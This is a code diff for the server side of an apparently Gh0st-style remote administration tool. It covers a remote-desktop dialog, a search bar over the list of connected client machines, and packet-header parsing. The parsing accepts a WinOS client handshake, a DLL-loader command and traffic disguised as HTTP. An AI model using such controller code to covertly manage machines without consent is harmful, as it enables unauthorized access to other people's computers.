BYTE m_nAudioCompression = 0; // 音频压缩类型 (AudioCompression)
|
||||
#if USING_OPUS
|
||||
void* m_pOpusDecoder = nullptr; // Opus 解码器
|
||||
short* m_pOpusDecodeBuffer = nullptr; // Opus 解码输出缓冲区
|
||||
#endif
|
||||
|
||||
void OnAudioData(BYTE* pData, UINT32 len); // 处理音频数据
|
||||
BOOL InitAudioPlayback(const AudioFormat* fmt); // 初始化音频播放
|
||||
void StopAudioPlayback(); // 停止音频播放
|
||||
void SendAudioCtrl(BYTE enable, BYTE persist); // 发送音频控制命令
|
||||
void FeedAudioBuffers(); // 填充音频缓冲区
|
||||
|
||||
int GetClientRTT(); // 获取客户端RTT(ms)
|
||||
void EvaluateQuality(); // 评估并调整质量
|
||||
void ApplyQualityLevel(int level, bool persist = false); // 应用质量等级
|
||||
const char* GetQualityName(int level); // 获取质量等级名称
|
||||
void UpdateQualityMenuCheck(CMenu* SysMenu = nullptr); // 更新质量菜单勾选状态
|
||||
|
||||
void OnTimer(UINT_PTR nIDEvent);
|
||||
void UpdateWindowTitle();
|
||||
|
||||
bool Decode(LPBYTE Buffer, int size);
|
||||
void EnterFullScreen();
|
||||
bool LeaveFullScreen();
|
||||
void UpdateCtrlStatus(BOOL ctrl);
|
||||
void OnDropFiles(HDROP hDropInfo);
|
||||
|
||||
afx_msg void OnHScroll(UINT nSBCode, UINT nPos, CScrollBar* pScrollBar);
|
||||
afx_msg void OnVScroll(UINT nSBCode, UINT nPos, CScrollBar* pScrollBar);
|
||||
afx_msg void OnLButtonDown(UINT nFlags, CPoint point);
|
||||
afx_msg void OnLButtonUp(UINT nFlags, CPoint point);
|
||||
afx_msg BOOL OnMouseWheel(UINT nFlags, short zDelta, CPoint pt);
|
||||
afx_msg void OnMouseMove(UINT nFlags, CPoint point);
|
||||
afx_msg void OnMouseLeave();
|
||||
afx_msg void OnKillFocus(CWnd* pNewWnd);
|
||||
afx_msg void OnSize(UINT nType, int cx, int cy);
|
||||
afx_msg void OnActivate(UINT nState, CWnd* pWndOther, BOOL bMinimized);
|
||||
afx_msg LRESULT OnDisconnect(WPARAM wParam, LPARAM lParam);
|
||||
afx_msg LRESULT OnWaveOutDone(WPARAM wParam, LPARAM lParam);
|
||||
afx_msg LRESULT OnRecvFileV2Chunk(WPARAM wParam, LPARAM lParam);
|
||||
afx_msg LRESULT OnRecvFileV2Complete(WPARAM wParam, LPARAM lParam);
|
||||
afx_msg void OnExitFullscreen()
|
||||
{
|
||||
BYTE cmd[4] = { CMD_FULL_SCREEN, m_Settings.FullScreen = FALSE };
|
||||
m_ContextObject->Send2Client(cmd, sizeof(cmd));
|
||||
LeaveFullScreen();
|
||||
}
|
||||
afx_msg void OnShowStatusInfo()
|
||||
{
|
||||
if (m_pStatusInfoWnd) m_pStatusInfoWnd->Show();
|
||||
}
|
||||
afx_msg void OnHideStatusInfo()
|
||||
{
|
||||
if (m_pStatusInfoWnd) m_pStatusInfoWnd->Hide();
|
||||
}
|
||||
|
||||
protected:
|
||||
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
|
||||
|
||||
DECLARE_MESSAGE_MAP()
|
||||
public:
|
||||
void PrepareDrawing(const LPBITMAPINFO bmp);
|
||||
virtual BOOL OnInitDialog();
|
||||
afx_msg void OnClose();
|
||||
afx_msg void OnPaint();
|
||||
BOOL OnSetCursor(CWnd* pWnd, UINT nHitTest, UINT message);
|
||||
afx_msg void OnSysCommand(UINT nID, LPARAM lParam);
|
||||
virtual BOOL PreTranslateMessage(MSG* pMsg);
|
||||
void OnLButtonDblClk(UINT nFlags, CPoint point);
|
||||
};
|
||||
439
server/2015Remote/SearchBarDlg.cpp
Normal file
439
server/2015Remote/SearchBarDlg.cpp
Normal file
@@ -0,0 +1,439 @@
|
||||
// SearchBarDlg.cpp - 浮动搜索工具栏实现
|
||||
#include "stdafx.h"
|
||||
#include "SearchBarDlg.h"
|
||||
#include "2015RemoteDlg.h"
|
||||
|
||||
IMPLEMENT_DYNAMIC(CSearchBarDlg, CDialogEx)
|
||||
|
||||
CSearchBarDlg::CSearchBarDlg(CMy2015RemoteDlg* pParent)
|
||||
: CDialogLangEx(IDD_SEARCH_BAR, pParent)
|
||||
, m_pParent(pParent)
|
||||
, m_nCurrentIndex(-1)
|
||||
{
|
||||
m_brushEdit.CreateSolidBrush(RGB(60, 60, 60));
|
||||
m_brushStatic.CreateSolidBrush(RGB(40, 40, 40));
|
||||
}
|
||||
|
||||
CSearchBarDlg::~CSearchBarDlg()
|
||||
{
|
||||
m_brushEdit.DeleteObject();
|
||||
m_brushStatic.DeleteObject();
|
||||
}
|
||||
|
||||
void CSearchBarDlg::DoDataExchange(CDataExchange* pDX)
|
||||
{
|
||||
__super::DoDataExchange(pDX);
|
||||
DDX_Control(pDX, IDC_SEARCH_EDIT, m_editSearch);
|
||||
DDX_Control(pDX, IDC_SEARCH_COUNT, m_staticCount);
|
||||
}
|
||||
|
||||
BEGIN_MESSAGE_MAP(CSearchBarDlg, CDialogEx)
|
||||
ON_BN_CLICKED(IDC_SEARCH_PREV, &CSearchBarDlg::OnBnClickedPrev)
|
||||
ON_BN_CLICKED(IDC_SEARCH_NEXT, &CSearchBarDlg::OnBnClickedNext)
|
||||
ON_BN_CLICKED(IDC_SEARCH_CLOSE, &CSearchBarDlg::OnBnClickedClose)
|
||||
ON_EN_CHANGE(IDC_SEARCH_EDIT, &CSearchBarDlg::OnEnChangeSearch)
|
||||
ON_WM_TIMER()
|
||||
ON_WM_ERASEBKGND()
|
||||
ON_WM_CTLCOLOR()
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
BOOL CSearchBarDlg::OnInitDialog()
|
||||
{
|
||||
__super::OnInitDialog();
|
||||
|
||||
// 设置分层窗口样式(透明 + 不抢焦点)
|
||||
ModifyStyleEx(0, WS_EX_LAYERED | WS_EX_NOACTIVATE);
|
||||
SetLayeredWindowAttributes(0, 200, LWA_ALPHA);
|
||||
|
||||
// 子类化按钮为 CIconButton
|
||||
m_btnPrev.SubclassDlgItem(IDC_SEARCH_PREV, this);
|
||||
m_btnNext.SubclassDlgItem(IDC_SEARCH_NEXT, this);
|
||||
m_btnClose.SubclassDlgItem(IDC_SEARCH_CLOSE, this);
|
||||
|
||||
// 设置图标
|
||||
m_btnPrev.SetIconDrawFunc(CIconButton::DrawIconArrowLeft);
|
||||
m_btnNext.SetIconDrawFunc(CIconButton::DrawIconArrowRight);
|
||||
m_btnClose.SetIconDrawFunc(CIconButton::DrawIconClose);
|
||||
m_btnClose.SetIsCloseButton(true);
|
||||
|
||||
// 创建工具提示
|
||||
m_tooltip.Create(this);
|
||||
m_tooltip.Activate(TRUE);
|
||||
m_tooltip.AddTool(&m_btnPrev, _TR("上一个 (Shift+Enter)"));
|
||||
m_tooltip.AddTool(&m_btnNext, _TR("下一个 (Enter)"));
|
||||
m_tooltip.AddTool(&m_btnClose, _TR("关闭 (Esc)"));
|
||||
|
||||
// 设置输入框提示文本
|
||||
m_editSearch.SetCueBanner(L"Search...", TRUE);
|
||||
|
||||
// 初始化计数文本
|
||||
m_staticCount.SetWindowText(_T(""));
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL CSearchBarDlg::PreTranslateMessage(MSG* pMsg)
|
||||
{
|
||||
if (m_tooltip.GetSafeHwnd()) {
|
||||
m_tooltip.RelayEvent(pMsg);
|
||||
}
|
||||
|
||||
if (pMsg->message == WM_KEYDOWN) {
|
||||
if (pMsg->wParam == VK_ESCAPE) {
|
||||
Hide();
|
||||
return TRUE;
|
||||
}
|
||||
if (pMsg->wParam == VK_RETURN) {
|
||||
if (GetKeyState(VK_SHIFT) & 0x8000) {
|
||||
GotoPrev();
|
||||
} else {
|
||||
GotoNext();
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
// F3 = 下一个, Shift+F3 = 上一个
|
||||
if (pMsg->wParam == VK_F3) {
|
||||
if (GetKeyState(VK_SHIFT) & 0x8000) {
|
||||
GotoPrev();
|
||||
} else {
|
||||
GotoNext();
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
}
|
||||
|
||||
return __super::PreTranslateMessage(pMsg);
|
||||
}
|
||||
|
||||
BOOL CSearchBarDlg::OnEraseBkgnd(CDC* pDC)
|
||||
{
|
||||
CRect rect;
|
||||
GetClientRect(&rect);
|
||||
pDC->FillSolidRect(rect, RGB(40, 40, 40));
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
HBRUSH CSearchBarDlg::OnCtlColor(CDC* pDC, CWnd* pWnd, UINT nCtlColor)
|
||||
{
|
||||
HBRUSH hbr = __super::OnCtlColor(pDC, pWnd, nCtlColor);
|
||||
|
||||
// 输入框深色背景
|
||||
if (nCtlColor == CTLCOLOR_EDIT && pWnd->GetDlgCtrlID() == IDC_SEARCH_EDIT) {
|
||||
pDC->SetTextColor(RGB(240, 240, 240));
|
||||
pDC->SetBkColor(RGB(60, 60, 60));
|
||||
return m_brushEdit;
|
||||
}
|
||||
|
||||
// 静态文本(计数)- 使用实色背景避免重绘问题
|
||||
if (nCtlColor == CTLCOLOR_STATIC) {
|
||||
pDC->SetTextColor(RGB(180, 180, 180));
|
||||
pDC->SetBkColor(RGB(40, 40, 40));
|
||||
return m_brushStatic;
|
||||
}
|
||||
|
||||
return hbr;
|
||||
}
|
||||
|
||||
void CSearchBarDlg::Show()
|
||||
{
|
||||
if (!GetSafeHwnd()) {
|
||||
Create(IDD_SEARCH_BAR, m_pParent);
|
||||
}
|
||||
|
||||
UpdatePosition();
|
||||
ShowWindow(SW_SHOWNOACTIVATE);
|
||||
SetWindowPos(&wndTopMost, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE | SWP_NOACTIVATE);
|
||||
|
||||
// 让输入框获得焦点并选中所有文本
|
||||
m_editSearch.SetFocus();
|
||||
m_editSearch.SetSel(0, -1);
|
||||
}
|
||||
|
||||
void CSearchBarDlg::Hide()
|
||||
{
|
||||
KillTimer(TIMER_SEARCH); // 清理定时器
|
||||
ShowWindow(SW_HIDE);
|
||||
// 将焦点还给主窗口列表
|
||||
if (m_pParent) {
|
||||
m_pParent->SetFocus();
|
||||
}
|
||||
}
|
||||
|
||||
void CSearchBarDlg::InvalidateCache()
|
||||
{
|
||||
// 杀掉 pending 的搜索定时器,避免竞争条件
|
||||
KillTimer(TIMER_SEARCH);
|
||||
|
||||
// 清空搜索缓存
|
||||
m_strLastSearch.Empty();
|
||||
m_Results.clear();
|
||||
m_nCurrentIndex = -1;
|
||||
|
||||
// 如果搜索栏存在且可见,立即重新搜索并更新界面
|
||||
if (GetSafeHwnd() && IsWindowVisible()) {
|
||||
CString searchText;
|
||||
m_editSearch.GetWindowText(searchText);
|
||||
if (!searchText.IsEmpty()) {
|
||||
DoSearch();
|
||||
} else {
|
||||
UpdateCountText();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void CSearchBarDlg::UpdatePosition()
|
||||
{
|
||||
if (!m_pParent || !GetSafeHwnd()) return;
|
||||
|
||||
CRect rcParent;
|
||||
m_pParent->GetWindowRect(&rcParent);
|
||||
|
||||
CRect rcThis;
|
||||
GetWindowRect(&rcThis);
|
||||
|
||||
// 居中显示
|
||||
int x = rcParent.left + (rcParent.Width() - rcThis.Width()) / 2;
|
||||
int y = rcParent.top + (rcParent.Height() - rcThis.Height()) / 2;
|
||||
|
||||
SetWindowPos(NULL, x, y, 0, 0, SWP_NOSIZE | SWP_NOZORDER | SWP_NOACTIVATE);
|
||||
}
|
||||
|
||||
void CSearchBarDlg::OnEnChangeSearch()
|
||||
{
|
||||
// 延迟搜索:重置定时器,避免每次输入都搜索
|
||||
KillTimer(TIMER_SEARCH);
|
||||
SetTimer(TIMER_SEARCH, SEARCH_DELAY_MS, NULL);
|
||||
}
|
||||
|
||||
void CSearchBarDlg::OnTimer(UINT_PTR nIDEvent)
|
||||
{
|
||||
if (nIDEvent == TIMER_SEARCH) {
|
||||
KillTimer(TIMER_SEARCH);
|
||||
DoSearch();
|
||||
}
|
||||
__super::OnTimer(nIDEvent);
|
||||
}
|
||||
|
||||
void CSearchBarDlg::DoSearch()
|
||||
{
|
||||
CString searchText;
|
||||
m_editSearch.GetWindowText(searchText);
|
||||
|
||||
// 空文本时清空结果
|
||||
if (searchText.IsEmpty()) {
|
||||
m_Results.clear();
|
||||
m_nCurrentIndex = -1;
|
||||
m_strLastSearch.Empty();
|
||||
UpdateCountText();
|
||||
return;
|
||||
}
|
||||
|
||||
// 相同文本不重复搜索(注意:Tab 切换时 m_strLastSearch 会被清空,强制重新搜索)
|
||||
if (searchText == m_strLastSearch && !m_Results.empty()) {
|
||||
return;
|
||||
}
|
||||
m_strLastSearch = searchText;
|
||||
|
||||
// 大小写不敏感
|
||||
searchText.MakeLower();
|
||||
m_Results.clear();
|
||||
|
||||
if (!m_pParent) return;
|
||||
|
||||
// 获取当前选中项的 clientID,用于确定搜索起始位置
|
||||
uint64_t selectedClientID = 0;
|
||||
POSITION pos = m_pParent->m_CList_Online.GetFirstSelectedItemPosition();
|
||||
if (pos) {
|
||||
int nSelectedItem = m_pParent->m_CList_Online.GetNextSelectedItem(pos);
|
||||
EnterCriticalSection(&m_pParent->m_cs);
|
||||
context* selCtx = m_pParent->GetContextByListIndex(nSelectedItem);
|
||||
if (selCtx) selectedClientID = selCtx->GetClientID();
|
||||
LeaveCriticalSection(&m_pParent->m_cs);
|
||||
}
|
||||
|
||||
// 加锁保护:访问 m_FilteredIndices, m_HostList, context
|
||||
EnterCriticalSection(&m_pParent->m_cs);
|
||||
|
||||
// 遍历过滤后的列表,存储匹配项的 clientID(而非索引)
|
||||
int count = (int)m_pParent->m_FilteredIndices.size();
|
||||
for (int i = 0; i < count; i++) {
|
||||
context* ctx = m_pParent->GetContextByListIndex(i);
|
||||
if (!ctx) continue;
|
||||
|
||||
bool matched = false;
|
||||
|
||||
// 搜索各列:IP(0), 地理位置(2), 计算机名/备注(3), 操作系统(4), 版本(8)
|
||||
int cols[] = { 0, 2, 3, 4, 8 };
|
||||
for (int col : cols) {
|
||||
CString colText;
|
||||
|
||||
// 备注列特殊处理
|
||||
if (col == 3) { // ONLINELIST_COMPUTER_NAME
|
||||
colText = m_pParent->m_ClientMap->GetClientMapData(ctx->GetClientID(), MAP_NOTE);
|
||||
if (colText.IsEmpty()) {
|
||||
colText = ctx->GetClientData(col);
|
||||
}
|
||||
} else {
|
||||
colText = ctx->GetClientData(col);
|
||||
}
|
||||
|
||||
colText.MakeLower();
|
||||
if (colText.Find(searchText) >= 0) {
|
||||
matched = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (matched) {
|
||||
m_Results.push_back(ctx->GetClientID());
|
||||
}
|
||||
}
|
||||
|
||||
LeaveCriticalSection(&m_pParent->m_cs);
|
||||
|
||||
// 定位到最接近当前选中项的结果
|
||||
m_nCurrentIndex = -1;
|
||||
if (!m_Results.empty()) {
|
||||
m_nCurrentIndex = 0;
|
||||
if (selectedClientID != 0) {
|
||||
for (int i = 0; i < (int)m_Results.size(); i++) {
|
||||
if (m_Results[i] == selectedClientID) {
|
||||
m_nCurrentIndex = i;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
GotoResult(m_nCurrentIndex);
|
||||
}
|
||||
|
||||
UpdateCountText();
|
||||
}
|
||||
|
||||
void CSearchBarDlg::GotoPrev()
|
||||
{
|
||||
if (m_Results.empty()) return;
|
||||
|
||||
m_nCurrentIndex--;
|
||||
if (m_nCurrentIndex < 0) {
|
||||
m_nCurrentIndex = (int)m_Results.size() - 1; // 循环
|
||||
}
|
||||
GotoResult(m_nCurrentIndex);
|
||||
UpdateCountText();
|
||||
}
|
||||
|
||||
void CSearchBarDlg::GotoNext()
|
||||
{
|
||||
if (m_Results.empty()) return;
|
||||
|
||||
m_nCurrentIndex++;
|
||||
if (m_nCurrentIndex >= (int)m_Results.size()) {
|
||||
m_nCurrentIndex = 0; // 循环
|
||||
}
|
||||
GotoResult(m_nCurrentIndex);
|
||||
UpdateCountText();
|
||||
}
|
||||
|
||||
int CSearchBarDlg::FindListIndexByClientID(uint64_t clientID)
|
||||
{
|
||||
if (!m_pParent || clientID == 0) return -1;
|
||||
|
||||
// 加锁查找
|
||||
EnterCriticalSection(&m_pParent->m_cs);
|
||||
int count = (int)m_pParent->m_FilteredIndices.size();
|
||||
for (int i = 0; i < count; i++) {
|
||||
context* ctx = m_pParent->GetContextByListIndex(i);
|
||||
if (ctx && ctx->GetClientID() == clientID) {
|
||||
LeaveCriticalSection(&m_pParent->m_cs);
|
||||
return i;
|
||||
}
|
||||
}
|
||||
LeaveCriticalSection(&m_pParent->m_cs);
|
||||
return -1;
|
||||
}
|
||||
|
||||
void CSearchBarDlg::GotoResult(int index)
|
||||
{
|
||||
if (!m_pParent) return;
|
||||
|
||||
// 循环查找有效结果(避免递归导致栈溢出)
|
||||
int attempts = 0;
|
||||
int maxAttempts = (int)m_Results.size();
|
||||
|
||||
while (attempts < maxAttempts) {
|
||||
if (index < 0 || index >= (int)m_Results.size()) {
|
||||
m_nCurrentIndex = -1;
|
||||
UpdateCountText();
|
||||
return;
|
||||
}
|
||||
|
||||
uint64_t clientID = m_Results[index];
|
||||
int listIndex = FindListIndexByClientID(clientID);
|
||||
|
||||
if (listIndex >= 0) {
|
||||
// 找到有效结果
|
||||
m_nCurrentIndex = index;
|
||||
|
||||
// 取消所有选中
|
||||
int nItem = -1;
|
||||
while ((nItem = m_pParent->m_CList_Online.GetNextItem(-1, LVNI_SELECTED)) != -1) {
|
||||
m_pParent->m_CList_Online.SetItemState(nItem, 0, LVIS_SELECTED | LVIS_FOCUSED);
|
||||
}
|
||||
|
||||
// 选中并滚动到目标项
|
||||
m_pParent->m_CList_Online.SetItemState(listIndex, LVIS_SELECTED | LVIS_FOCUSED, LVIS_SELECTED | LVIS_FOCUSED);
|
||||
m_pParent->m_CList_Online.EnsureVisible(listIndex, FALSE);
|
||||
return;
|
||||
}
|
||||
|
||||
// 该主机不在当前列表中,移除并尝试下一个
|
||||
m_Results.erase(m_Results.begin() + index);
|
||||
if (m_Results.empty()) {
|
||||
m_nCurrentIndex = -1;
|
||||
UpdateCountText();
|
||||
return;
|
||||
}
|
||||
|
||||
// 调整索引继续查找
|
||||
if (index >= (int)m_Results.size()) {
|
||||
index = 0;
|
||||
}
|
||||
attempts++;
|
||||
}
|
||||
|
||||
// 所有结果都失效
|
||||
m_Results.clear();
|
||||
m_nCurrentIndex = -1;
|
||||
UpdateCountText();
|
||||
}
|
||||
|
||||
void CSearchBarDlg::UpdateCountText()
|
||||
{
|
||||
CString text;
|
||||
if (m_Results.empty()) {
|
||||
CString searchText;
|
||||
m_editSearch.GetWindowText(searchText);
|
||||
if (!searchText.IsEmpty()) {
|
||||
text = _T("Not found");
|
||||
}
|
||||
} else {
|
||||
text.Format(_T("%d/%d"), m_nCurrentIndex + 1, (int)m_Results.size());
|
||||
}
|
||||
m_staticCount.SetWindowText(text);
|
||||
m_staticCount.Invalidate();
|
||||
m_staticCount.UpdateWindow();
|
||||
}
|
||||
|
||||
void CSearchBarDlg::OnBnClickedPrev()
|
||||
{
|
||||
GotoPrev();
|
||||
}
|
||||
|
||||
void CSearchBarDlg::OnBnClickedNext()
|
||||
{
|
||||
GotoNext();
|
||||
}
|
||||
|
||||
void CSearchBarDlg::OnBnClickedClose()
|
||||
{
|
||||
Hide();
|
||||
}
|
||||
69
server/2015Remote/SearchBarDlg.h
Normal file
69
server/2015Remote/SearchBarDlg.h
Normal file
@@ -0,0 +1,69 @@
|
||||
// SearchBarDlg.h - 浮动搜索工具栏
|
||||
#pragma once
|
||||
#include "Resource.h"
|
||||
#include "LangManager.h"
|
||||
#include "CIconButton.h"
|
||||
#include <vector>
|
||||
|
||||
class CMy2015RemoteDlg;
|
||||
|
||||
class CSearchBarDlg : public CDialogLangEx
|
||||
{
|
||||
DECLARE_DYNAMIC(CSearchBarDlg)
|
||||
|
||||
public:
|
||||
CSearchBarDlg(CMy2015RemoteDlg* pParent = nullptr);
|
||||
virtual ~CSearchBarDlg();
|
||||
|
||||
enum { IDD = IDD_SEARCH_BAR };
|
||||
|
||||
CMy2015RemoteDlg* m_pParent;
|
||||
|
||||
// 控件
|
||||
CEdit m_editSearch;
|
||||
CIconButton m_btnPrev;
|
||||
CIconButton m_btnNext;
|
||||
CIconButton m_btnClose;
|
||||
CStatic m_staticCount;
|
||||
CToolTipCtrl m_tooltip;
|
||||
|
||||
// 搜索状态
|
||||
std::vector<uint64_t> m_Results; // 匹配项的 clientID(而非索引,避免列表变化导致失效)
|
||||
int m_nCurrentIndex; // 当前高亮的结果索引
|
||||
CString m_strLastSearch; // 上次搜索文本
|
||||
|
||||
int FindListIndexByClientID(uint64_t clientID); // 根据 clientID 查找当前列表索引
|
||||
|
||||
// 方法
|
||||
void Show(); // 显示搜索栏
|
||||
void Hide(); // 隐藏搜索栏
|
||||
void DoSearch(); // 执行搜索
|
||||
void InvalidateCache(); // 清空搜索缓存(Tab切换时调用)
|
||||
void GotoPrev(); // 上一个结果
|
||||
void GotoNext(); // 下一个结果
|
||||
void GotoResult(int index); // 跳转到指定结果
|
||||
void UpdateCountText(); // 更新计数显示
|
||||
void UpdatePosition(); // 更新位置(居中于父窗口)
|
||||
|
||||
protected:
|
||||
virtual void DoDataExchange(CDataExchange* pDX);
|
||||
virtual BOOL OnInitDialog();
|
||||
virtual BOOL PreTranslateMessage(MSG* pMsg);
|
||||
DECLARE_MESSAGE_MAP()
|
||||
|
||||
public:
|
||||
afx_msg void OnBnClickedPrev();
|
||||
afx_msg void OnBnClickedNext();
|
||||
afx_msg void OnBnClickedClose();
|
||||
afx_msg void OnEnChangeSearch();
|
||||
afx_msg void OnTimer(UINT_PTR nIDEvent);
|
||||
afx_msg BOOL OnEraseBkgnd(CDC* pDC);
|
||||
afx_msg HBRUSH OnCtlColor(CDC* pDC, CWnd* pWnd, UINT nCtlColor);
|
||||
|
||||
static const UINT_PTR TIMER_SEARCH = 1; // 延迟搜索定时器
|
||||
static const UINT SEARCH_DELAY_MS = 500; // 延迟时间(毫秒)
|
||||
|
||||
private:
|
||||
CBrush m_brushEdit; // 输入框背景画刷
|
||||
CBrush m_brushStatic; // 静态控件背景画刷
|
||||
};
|
||||
775
server/2015Remote/Server.h
Normal file
775
server/2015Remote/Server.h
Normal file
@@ -0,0 +1,775 @@
|
||||
#pragma once
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "common/mask.h"
|
||||
#include "common/header.h"
|
||||
#include "common/encrypt.h"
|
||||
|
||||
#include "Buffer.h"
|
||||
#define XXH_INLINE_ALL
|
||||
#include "common/xxhash.h"
|
||||
#include <WS2tcpip.h>
|
||||
#include <common/ikcp.h>
|
||||
#include <atomic>
|
||||
|
||||
#define PACKET_LENGTH 0x2000
|
||||
|
||||
std::string GetPeerName(SOCKET sock);
|
||||
std::string GetRemoteIP(SOCKET sock);
|
||||
|
||||
// ZSTD
|
||||
#include "zstd/zstd.h"
|
||||
#ifdef _WIN64
|
||||
#pragma comment(lib, "zstd/zstd_x64.lib")
|
||||
#else
|
||||
#pragma comment(lib, "zstd/zstd.lib")
|
||||
#endif
|
||||
#define C_FAILED(p) ZSTD_isError(p)
|
||||
#define C_SUCCESS(p) (!C_FAILED(p))
|
||||
|
||||
#define Mcompress(dest, destLen, source, sourceLen, level) m_Cctx ? ZSTD_compress2(m_Cctx, dest, *(destLen), source, sourceLen):\
|
||||
ZSTD_compress(dest, *(destLen), source, sourceLen, level)
|
||||
|
||||
#define Muncompress(dest, destLen, source, sourceLen) m_Dctx ? ZSTD_decompressDCtx(m_Dctx, dest, *(destLen), source, sourceLen):\
|
||||
ZSTD_decompress(dest, *(destLen), source, sourceLen)
|
||||
|
||||
enum {
|
||||
PARSER_WINOS = -2,
|
||||
PARSER_FAILED = -1, // 解析失败
|
||||
PARSER_NEEDMORE = 0, // 需要更多数据
|
||||
};
|
||||
|
||||
typedef struct PR {
|
||||
int Result;
|
||||
bool IsFailed() const
|
||||
{
|
||||
return PARSER_FAILED == Result;
|
||||
}
|
||||
bool IsNeedMore() const
|
||||
{
|
||||
return PARSER_NEEDMORE == Result;
|
||||
}
|
||||
bool IsWinOSLogin() const
|
||||
{
|
||||
return PARSER_WINOS == Result;
|
||||
}
|
||||
} PR;
|
||||
|
||||
enum {
|
||||
COMPRESS_UNKNOWN = -2, // 未知压缩算法
|
||||
COMPRESS_ZLIB = -1, // 以前版本使用的压缩方法
|
||||
COMPRESS_ZSTD = 0, // 当前使用的压缩方法
|
||||
COMPRESS_NONE = 1, // 没有压缩
|
||||
};
|
||||
|
||||
// Header parser: parse the data to make sure it's from a supported client.
|
||||
class HeaderParser
|
||||
{
|
||||
friend class CONTEXT_OBJECT;
|
||||
protected:
|
||||
HeaderParser()
|
||||
{
|
||||
m_bShouldUnmask = -1;
|
||||
m_Masker = nullptr;
|
||||
m_Encoder = nullptr;
|
||||
m_Encoder2 = nullptr;
|
||||
m_bParsed = FALSE;
|
||||
m_nHeaderLen = m_nCompareLen = m_nFlagLen = 0;
|
||||
m_nFlagType = FLAG_UNKNOWN;
|
||||
memset(m_szPacketFlag, 0, sizeof(m_szPacketFlag));
|
||||
}
|
||||
virtual ~HeaderParser()
|
||||
{
|
||||
Reset();
|
||||
}
|
||||
std::string getXForwardedFor(const std::string& headers)
|
||||
{
|
||||
const std::string key = "X-Forwarded-For: ";
|
||||
size_t pos = headers.find(key);
|
||||
if (pos == std::string::npos)
|
||||
return "";
|
||||
pos += key.size();
|
||||
size_t end = headers.find("\r\n", pos);
|
||||
if (end == std::string::npos)
|
||||
return "";
|
||||
std::string ip = headers.substr(pos, end - pos);
|
||||
return ip;
|
||||
}
|
||||
PR Parse(CBuffer& buf, int& compressMethod, std::string &peer)
|
||||
{
|
||||
const int MinimumCount = MIN_COMLEN;
|
||||
if (buf.GetBufferLength() < MinimumCount) {
|
||||
return PR{ PARSER_NEEDMORE };
|
||||
}
|
||||
// UnMask
|
||||
char* src = (char*)buf.GetBuffer();
|
||||
ULONG srcSize = buf.GetBufferLength();
|
||||
PkgMaskType maskType = m_bShouldUnmask ? MaskTypeUnknown : MaskTypeNone;
|
||||
ULONG ret = m_bShouldUnmask ? TryUnMask(src, srcSize, maskType) : 0;
|
||||
std::string str = buf.Skip(ret);
|
||||
if (maskType == MaskTypeHTTP) {
|
||||
m_bShouldUnmask = TRUE;
|
||||
std::string clientIP = getXForwardedFor(str);
|
||||
if (!clientIP.empty()) peer = clientIP;
|
||||
} else {
|
||||
m_bShouldUnmask = FALSE;
|
||||
}
|
||||
if (nullptr == m_Masker) {
|
||||
m_Masker = maskType ? new HttpMask(peer) : new PkgMask();
|
||||
}
|
||||
if ((maskType && ret == 0) || (buf.GetBufferLength() <= MinimumCount))
|
||||
return PR{ PARSER_NEEDMORE };
|
||||
|
||||
char szPacketFlag[32] = { 0 };
|
||||
buf.CopyBuffer(szPacketFlag, MinimumCount, 0);
|
||||
HeaderEncType encTyp = HeaderEncUnknown;
|
||||
FlagType flagType = CheckHead(szPacketFlag, encTyp);
|
||||
if (flagType == FLAG_UNKNOWN) {
|
||||
// 数据长度 + 通信密码 [4字节启动时间+4个0字节+命令标识+系统位数标识]
|
||||
const BYTE* ptr = (BYTE*)buf.GetBuffer(0), * p = ptr + 4;
|
||||
int length = *((int*)ptr);
|
||||
int excepted = buf.GetBufferLength();
|
||||
if (length == excepted && length == 16 && p[4] == 0 && p[5] == 0 &&
|
||||
p[6] == 0 && p[7] == 0 && p[8] == 202 && (p[9] == 0 || p[9] == 1)) {
|
||||
m_nFlagType = FLAG_WINOS;
|
||||
compressMethod = COMPRESS_NONE;
|
||||
memcpy(m_szPacketFlag, p, 10); // 通信密码
|
||||
m_nCompareLen = 0;
|
||||
m_nFlagLen = 0;
|
||||
m_nHeaderLen = 14;
|
||||
m_bParsed = TRUE;
|
||||
m_Encoder = new Encoder();
|
||||
m_Encoder2 = new WinOsEncoder();
|
||||
return PR{ PARSER_WINOS };
|
||||
}
|
||||
return PR{ PARSER_FAILED };
|
||||
}
|
||||
if (m_bParsed) { // Check if the header has been parsed.
|
||||
return memcmp(m_szPacketFlag, szPacketFlag, m_nCompareLen) == 0 ? PR{ m_nFlagLen } : PR{ PARSER_FAILED };
|
||||
}
|
||||
// More version may be added in the future.
|
||||
switch (m_nFlagType = flagType) {
|
||||
case FLAG_UNKNOWN:
|
||||
return PR{ PARSER_FAILED };
|
||||
case FLAG_SHINE:
|
||||
memcpy(m_szPacketFlag, szPacketFlag, 5);
|
||||
m_nCompareLen = 5;
|
||||
m_nFlagLen = m_nCompareLen;
|
||||
m_nHeaderLen = m_nFlagLen + 8;
|
||||
m_bParsed = TRUE;
|
||||
assert(NULL==m_Encoder);
|
||||
assert(NULL==m_Encoder2);
|
||||
m_Encoder = new Encoder();
|
||||
m_Encoder2 = new Encoder();
|
||||
break;
|
||||
case FLAG_FUCK:
|
||||
memcpy(m_szPacketFlag, szPacketFlag, 8);
|
||||
m_nCompareLen = 8;
|
||||
m_nFlagLen = m_nCompareLen + 3;
|
||||
m_nHeaderLen = m_nFlagLen + 8;
|
||||
m_bParsed = TRUE;
|
||||
m_Encoder = new XOREncoder();
|
||||
m_Encoder2 = new Encoder();
|
||||
break;
|
||||
case FLAG_HELLO:
|
||||
// This header is only for handling SOCKET_DLLLOADER command
|
||||
memcpy(m_szPacketFlag, szPacketFlag, 8);
|
||||
m_nCompareLen = 6;
|
||||
m_nFlagLen = 8;
|
||||
m_nHeaderLen = m_nFlagLen + 8;
|
||||
m_bParsed = TRUE;
|
||||
compressMethod = COMPRESS_NONE;
|
||||
m_Encoder = new Encoder();
|
||||
